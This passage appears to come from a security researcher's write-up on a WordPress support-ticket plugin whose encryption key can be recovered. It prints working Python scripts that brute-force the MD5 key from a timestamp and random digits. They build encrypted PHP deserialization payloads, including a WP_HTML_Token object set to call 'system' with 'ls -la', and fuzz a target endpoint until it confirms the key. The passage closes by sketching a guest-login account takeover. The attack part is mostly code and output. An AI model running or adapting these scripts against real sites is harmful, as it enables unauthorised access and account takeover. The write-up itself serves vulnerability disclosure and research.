</span>    <span class="k">for</span> <span class="n">r1</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">r2</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">r3</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
                <span class="n">attempts</span> <span class="o">+=</span> <span class="mi">1</span>
                <span class="c1"># Create the string by concatenating the values
</span>                <span class="n">s</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">r1</span><span class="si">}{</span><span class="n">r2</span><span class="si">}{</span><span class="n">t</span><span class="si">}{</span><span class="n">r3</span><span class="si">}</span><span class="s">"</span>
                <span class="c1"># Calculate the MD5 of the string
</span>                <span class="n">h</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">()</span>
                <span class="c1"># If the hash matches the target hash, print the details
</span>                <span class="k">if</span> <span class="n">h</span> <span class="o">==</span> <span class="n">target_hash</span><span class="p">:</span>
                    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Found! r1=</span><span class="si">{</span><span class="n">r1</span><span class="si">}</span><span class="s">, r2=</span><span class="si">{</span><span class="n">r2</span><span class="si">}</span><span class="s">, timestamp=</span><span class="si">{</span><span class="n">t</span><span class="si">}</span><span class="s">, r3=</span><span class="si">{</span><span class="n">r3</span><span class="si">}</span><span class="s"> =&gt; string: </span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                    <span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
                    <span class="k">break</span>
            <span class="k">if</span> <span class="n">found</span><span class="p">:</span>
                <span class="k">break</span>
        <span class="k">if</span> <span class="n">found</span><span class="p">:</span>
            <span class="k">break</span>
    <span class="k">if</span> <span class="n">found</span><span class="p">:</span>
        <span class="k">break</span>

<span class="c1"># Record the end time and calculate the total time
</span><span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="n">total_time</span> <span class="o">=</span> <span class="n">end</span> <span class="o">-</span> <span class="n">start</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">found</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"No combination found."</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Total attempts: </span><span class="si">{</span><span class="n">attempts</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Time taken: </span><span class="si">{</span><span class="n">total_time</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> seconds"</span><span class="p">)</span>

</code></pre></div></div>

<p>This is the result :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
Starting search...
Found! r1=73, r2=78, timestamp=1741794767, r3=77 =&gt; string: 7378174179476777
Total attempts: 12909488
Time taken: 20.85 seconds

</code></pre></div></div>

<p>As can be seen from the result the timestamp <code class="language-plaintext highlighter-rouge">1741794767</code> used to generate the key has a difference of 7 seconds from the one read from the <code class="language-plaintext highlighter-rouge">Last Modified</code> header, and I think that this difference decreases as the power of the machine on which wordpress runs increases</p>

<p>So now how does the exploit materialize?</p>

<p>I wrote a python script that generates all possible md5 keys and the corresponding serialized and encrypted AES object</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span><span class="p">,</span> <span class="n">unpad</span>

<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">plainText</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">''</span><span class="p">):</span>
    <span class="c1"># Prepend and append two random two-digit numbers
</span>    <span class="n">plainText</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">))</span> <span class="o">+</span> <span class="n">plainText</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">))</span>
    
    <span class="c1"># Method: aes-256-cbc (CBC)
</span>    <span class="c1"># Calculate the key: first 32 bytes of the SHA256 hash of the password (in binary mode)
</span>    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">password</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">digest</span><span class="p">()[:</span><span class="mi">32</span><span class="p">]</span>
    
    <span class="c1"># Calculate the IV: first 16 characters of the MD5 string (in uppercase) of the password, converted to bytes
</span>    <span class="n">iv</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">password</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">().</span><span class="n">upper</span><span class="p">()[:</span><span class="mi">16</span><span class="p">].</span><span class="n">encode</span><span class="p">()</span>
    
    <span class="c1"># Pad the text to reach multiples of 16 bytes (PKCS7)
</span>    <span class="n">padded_text</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">plainText</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">AES</span><span class="p">.</span><span class="n">block_size</span><span class="p">)</span>
    
    <span class="c1"># Create the cipher in CBC mode
</span>    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
    <span class="n">encrypted_bytes</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded_text</span><span class="p">)</span>
    
    <span class="c1"># Encode the encrypted result in base64
</span>    <span class="n">encrypted_b64</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">encrypted_bytes</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">encrypted_b64</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">''</span><span class="p">):</span>
    <span class="c1"># Calculate the key and IV in the same way as in the encrypt function
</span>    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">password</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">digest</span><span class="p">()[:</span><span class="mi">32</span><span class="p">]</span>
    <span class="n">iv</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">password</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">().</span><span class="n">upper</span><span class="p">()[:</span><span class="mi">16</span><span class="p">].</span><span class="n">encode</span><span class="p">()</span>
    
    <span class="c1"># Decode the encrypted text from base64
</span>    <span class="n">encrypted_bytes</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
    
    <span class="c1"># Create the cipher and decrypt the text
</span>    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
    <span class="n">decrypted_padded</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted_bytes</span><span class="p">)</span>
    
    <span class="c1"># Remove the PKCS7 padding
</span>    <span class="n">decrypted_text</span> <span class="o">=</span> <span class="n">unpad</span><span class="p">(</span><span class="n">decrypted_padded</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">block_size</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    
    <span class="c1"># Remove the first 2 and the last 2 characters (the random numbers)
</span>    <span class="k">return</span> <span class="n">decrypted_text</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span>



<span class="n">serialized_obj</span> <span class="o">=</span> <span class="s">'O:13:"WP_HTML_Token":2:{s:10:"on_destroy";s:6:"system";s:13:"bookmark_name";s:6:"ls -la";}'</span>
<span class="c1"># Convert the given date to a Unix timestamp
</span><span class="n">target_dt</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">(</span><span class="mi">2025</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
<span class="n">target_timestamp</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">target_dt</span><span class="p">.</span><span class="n">timestamp</span><span class="p">())</span>

<span class="c1"># Define the interval of ±10 seconds around the target timestamp
</span><span class="n">start_timestamp</span> <span class="o">=</span> <span class="n">target_timestamp</span> <span class="o">-</span> <span class="mi">10</span>
<span class="n">end_timestamp</span> <span class="o">=</span> <span class="n">target_timestamp</span> <span class="o">+</span> <span class="mi">10</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Starting search..."</span><span class="p">)</span>

<span class="n">found</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">attempts</span> <span class="o">=</span> <span class="mi">0</span>

<span class="c1"># Record the start time
</span><span class="n">start_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"hashes.txt"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
    <span class="c1"># Iterate over all possible timestamps in the interval
</span>    <span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">start_timestamp</span><span class="p">,</span> <span class="n">end_timestamp</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
        <span class="c1"># Iterate over the random numbers: r1, r2, and r3 (from 10 to 99 inclusive)
</span>        <span class="k">for</span> <span class="n">r1</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">r2</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
                <span class="k">for</span> <span class="n">r3</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">100</span><span class="p">):</span>
                    <span class="n">attempts</span> <span class="o">+=</span> <span class="mi">1</span>
                    <span class="c1"># Build the string by concatenating the values
</span>                    <span class="n">s</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">r1</span><span class="si">}{</span><span class="n">r2</span><span class="si">}{</span><span class="n">t</span><span class="si">}{</span><span class="n">r3</span><span class="si">}</span><span class="s">"</span>
                    <span class="c1"># Calculate the MD5 of the string
</span>                    <span class="n">h</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">()</span>
                    <span class="n">encrypted</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">serialized_obj</span><span class="p">,</span> <span class="n">h</span><span class="p">)</span>
                    <span class="c1"># Write the combination and the hash to the file
</span>                    <span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">encrypted</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">h</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Record the end time and calculate the total time
</span><span class="n">end_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="n">total_time</span> <span class="o">=</span> <span class="n">end_time</span> <span class="o">-</span> <span class="n">start_time</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Total payloads written: </span><span class="si">{</span><span class="n">attempts</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Time taken: </span><span class="si">{</span><span class="n">total_time</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> seconds"</span><span class="p">)</span>

</code></pre></div></div>

<p>This script produces a wordlist file listing all possible payloads and md5 keys in this format : 
<code class="language-plaintext highlighter-rouge">PAYLOAD MD5_KEY</code></p>

<p>In the script, this serialized object is used : <code class="language-plaintext highlighter-rouge">O:13:"WP_HTML_Token":2:{s:10:"on_destroy";s:6:"system";s:13:"bookmark_name";s:6:"ls -la";}</code> because if the encryption key is correct and the object is deserialized it will raise an exception.</p>

<p><code class="language-plaintext highlighter-rouge">WP_HTML_Token</code> is a wp-core class that if it is deserialized raises an exception and the response will have status code 500</p>

<p><code class="language-plaintext highlighter-rouge">/WordPress-6.7.1/wp-includes/html-api/class-wp-html-token.php:107</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
	<span class="cd">/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */</span>
	<span class="k">public</span> <span class="k">function</span> <span class="n">__destruct</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span> <span class="nb">is_callable</span><span class="p">(</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">on_destroy</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
			<span class="nb">call_user_func</span><span class="p">(</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">on_destroy</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">bookmark_name</span> <span class="p">);</span> <span class="s1">'system'</span><span class="p">,</span><span class="s1">'whoami'</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="cd">/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */</span>
	<span class="k">public</span> <span class="k">function</span> <span class="n">__wakeup</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">throw</span> <span class="k">new</span> <span class="err">\</span><span class="nf">LogicException</span><span class="p">(</span> <span class="k">__CLASS__</span> <span class="mf">.</span> <span class="s1">' should never be unserialized'</span> <span class="p">);</span>
	<span class="p">}</span>

</code></pre></div></div>

<p>so we can use this error as a confirmation that the sent payload was encrypted correctly</p>

<p>To fuzz the payloads I wrote another python script (but I think with tools like ffuf , wfuzz or hydra they can be much faster and perform much better )
This script reads the previously generated wordlist and sends GET requests until it finds the correct one that responds with status code 500</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">import</span> <span class="nn">asyncio</span>
<span class="kn">import</span> <span class="nn">aiohttp</span>
<span class="kn">import</span> <span class="nn">urllib.parse</span>

<span class="n">URL_TEMPLATE</span> <span class="o">=</span> <span class="s">"http://192.168.1.20:8080/biglietto/?sgnix=true&amp;p={}"</span>
<span class="n">HEADERS</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"Host"</span><span class="p">:</span> <span class="s">"192.168.1.20:8080"</span><span class="p">,</span>
    <span class="s">"Accept-Language"</span><span class="p">:</span> <span class="s">"it-IT,it;q=0.9"</span><span class="p">,</span>
    <span class="s">"Upgrade-Insecure-Requests"</span><span class="p">:</span> <span class="s">"1"</span><span class="p">,</span>
    <span class="s">"User-Agent"</span><span class="p">:</span> <span class="s">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"</span><span class="p">,</span>
    <span class="s">"Accept"</span><span class="p">:</span> <span class="s">"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"</span><span class="p">,</span>
    <span class="s">"Accept-Encoding"</span><span class="p">:</span> <span class="s">"gzip, deflate, br"</span>
<span class="p">}</span>

<span class="c1"># Global event to stop the process in case of a 500 status code
</span><span class="n">stop_event</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">Event</span><span class="p">()</span>

<span class="c1"># Variables for tracking progress
</span><span class="n">completed</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">total_payload</span> <span class="o">=</span> <span class="mi">0</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">worker</span><span class="p">(</span><span class="n">queue</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">completed</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">item</span> <span class="o">=</span> <span class="k">await</span> <span class="n">queue</span><span class="p">.</span><span class="n">get</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">item</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">queue</span><span class="p">.</span><span class="n">task_done</span><span class="p">()</span>
            <span class="k">break</span>
        <span class="n">payload</span><span class="p">,</span> <span class="n">md5_value</span> <span class="o">=</span> <span class="n">item</span>
        <span class="k">if</span> <span class="n">stop_event</span><span class="p">.</span><span class="n">is_set</span><span class="p">():</span>
            <span class="n">queue</span><span class="p">.</span><span class="n">task_done</span><span class="p">()</span>
            <span class="k">continue</span>

        <span class="c1"># URL-encode the payload and build the URL
</span>        <span class="n">encoded_payload</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">parse</span><span class="p">.</span><span class="n">quote</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
        <span class="n">url</span> <span class="o">=</span> <span class="n">URL_TEMPLATE</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">encoded_payload</span><span class="p">)</span>

        <span class="k">try</span><span class="p">:</span>
            <span class="k">async</span> <span class="k">with</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">HEADERS</span><span class="p">)</span> <span class="k">as</span> <span class="n">response</span><span class="p">:</span>
                <span class="n">status</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span>
                <span class="c1"># print(f"Payload: {payload} | MD5: {md5_value} | Status: {status}")
</span>                <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">500</span><span class="p">:</span>
                    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Status 500 triggered by payload: </span><span class="si">{</span><span class="n">payload</span><span class="si">}</span><span class="s"> with MD5: </span><span class="si">{</span><span class="n">md5_value</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                    <span class="n">stop_event</span><span class="p">.</span><span class="nb">set</span><span class="p">()</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error for payload </span><span class="si">{</span><span class="n">payload</span><span class="si">}</span><span class="s"> (MD5: </span><span class="si">{</span><span class="n">md5_value</span><span class="si">}</span><span class="s">): </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">queue</span><span class="p">.</span><span class="n">task_done</span><span class="p">()</span>

        <span class="n">completed</span> <span class="o">+=</span> <span class="mi">1</span>
        <span class="c1"># Update progress every 100 requests or at the end
</span>        <span class="k">if</span> <span class="n">completed</span> <span class="o">%</span> <span class="mi">100</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">or</span> <span class="n">completed</span> <span class="o">==</span> <span class="n">total_payload</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">completed</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">total_payload</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="c1"># Queue with a limit to avoid loading too much into memory
</span>    <span class="n">queue</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">Queue</span><span class="p">(</span><span class="n">maxsize</span><span class="o">=</span><span class="mi">1000</span><span class="p">)</span>
    <span class="n">concurrency</span> <span class="o">=</span> <span class="mi">20</span>

    <span class="k">async</span> <span class="k">with</span> <span class="n">aiohttp</span><span class="p">.</span><span class="n">ClientSession</span><span class="p">()</span> <span class="k">as</span> <span class="n">session</span><span class="p">:</span>
        <span class="c1"># Start the workers
</span>        <span class="n">workers</span> <span class="o">=</span> <span class="p">[</span><span class="n">asyncio</span><span class="p">.</span><span class="n">create_task</span><span class="p">(</span><span class="n">worker</span><span class="p">(</span><span class="n">queue</span><span class="p">,</span> <span class="n">session</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">concurrency</span><span class="p">)]</span>
        
        <span class="c1"># Open the file and add payloads (with MD5) to the queue
</span>        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"hashes.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">line</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
                <span class="k">if</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">DEBUG_START_LINE</span><span class="p">:</span>
                    <span class="k">continue</span>
                <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
                <span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="p">:</span>
                    <span class="k">continue</span>
                <span class="c1"># Assume each line is "PAYLOAD MD5" separated by a space
</span>                <span class="n">parts</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()</span>
                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">parts</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
                    <span class="k">continue</span>
                <span class="n">payload</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
                <span class="n">md5_value</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
                <span class="k">await</span> <span class="n">queue</span><span class="p">.</span><span class="n">put</span><span class="p">((</span><span class="n">payload</span><span class="p">,</span> <span class="n">md5_value</span><span class="p">))</span>
                <span class="k">if</span> <span class="n">stop_event</span><span class="p">.</span><span class="n">is_set</span><span class="p">():</span>
                    <span class="k">break</span>
        
        <span class="c1"># Send a termination signal (None) for each worker
</span>        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">concurrency</span><span class="p">):</span>
            <span class="k">await</span> <span class="n">queue</span><span class="p">.</span><span class="n">put</span><span class="p">(</span><span class="bp">None</span><span class="p">)</span>
        
        <span class="c1"># Wait until the queue is empty and the workers finish
</span>        <span class="k">await</span> <span class="n">queue</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
        <span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="n">workers</span><span class="p">:</span>
            <span class="k">await</span> <span class="n">w</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="c1"># Set the starting line for debugging (for production, set to 1)
</span>    <span class="n">DEBUG_START_LINE</span> <span class="o">=</span> <span class="mi">1</span>  <span class="c1"># For example, for debugging you might use 1000
</span>    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"DEBUG_START_LINE set to: </span><span class="si">{</span><span class="n">DEBUG_START_LINE</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="c1"># Count the total number of payloads to process starting from DEBUG_START_LINE
</span>    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"hashes.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">total_payload</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="mi">1</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="n">DEBUG_START_LINE</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Total payloads to process: </span><span class="si">{</span><span class="n">total_payload</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>

</code></pre></div></div>

<p>The result should look like this :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
DEBUG_START_LINE set to: 12908000
Total payloads to process: 2401001
100/2401001
200/2401001
300/2401001
400/2401001
500/2401001
600/2401001
700/2401001
800/2401001
900/2401001
1000/2401001
1100/2401001
1200/2401001
1300/2401001
1400/2401001
Status 500 triggered by payload: LbP22PDdjW/nEKRPpW0ML6h68Qu5HY/j4zM/GrOcQ/IlZKqT386kmLzPEMenFJxkoZIhnvG6bHXLyOV15Z7k8hH0HOVutwsJICyChqmSCxJyE+gJ1Lg12KGL3J3OUhHr with MD5: 1ea5aaa45f46e51857793f651b576cc6

</code></pre></div></div>

<p>Since I already knew the location of my payload I added a flag for debugging purposes indicating the wordlist line from which to start , the correct payload in my case was at about the 12909000th position.</p>

<p>And as you can see from the result the md5 key returned is the same as in the database <code class="language-plaintext highlighter-rouge">wp_options</code> , so now that we have the md5 key we can serialize and encrypt any malicious php object</p>

<p>Unfortunately the in the plugin source there are no magic methods or interesting gadgets that allow to evalute the vuln to RCE or anything else</p>

<p>But you could have an account takeover of a user who has set the <code class="language-plaintext highlighter-rouge">is_guest</code> meta by sending a serialized array containing the id of a ticket and if that ticket is tied to a user who has the meta set <code class="language-plaintext highlighter-rouge">is_guest</code> , it will automatically login with that user</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="k">public</span> <span class="k">function</span> <span class="n">guest_ticket_login</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nv">$ticket_param</span> <span class="o">=</span> <span class="nb">rtrim</span><span class="p">(</span><span class="nf">APBD_GetValue</span><span class="p">(</span><span class="s1">'p'</span><span class="p">,</span> <span class="s1">''</span><span class="p">),</span> <span class="s1">'/'</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$ticket_param</span><span class="p">))</span> <span class="p">{</span>
            <span class="nv">$encKey</span> <span class="o">=</span> <span class="n">Apbd_wps_settings</span><span class="o">::</span><span class="nf">GetEncryptionKey</span><span class="p">();</span>
            <span class="nv">$encObj</span> <span class="o">=</span> <span class="n">Apbd_WPS_EncryptionLib</span><span class="o">::</span><span class="nf">getInstance</span><span class="p">(</span><span class="nv">$encKey</span><span class="p">);</span>
            <span class="nv">$requestParam</span> <span class="o">=</span> <span class="nv">$encObj</span><span class="o">-&gt;</span><span class="nf">decryptObj</span><span class="p">(</span><span class="nv">$ticket_param</span><span class="p">);</span>

            <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_id</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">))</span> <span class="p">{</span>
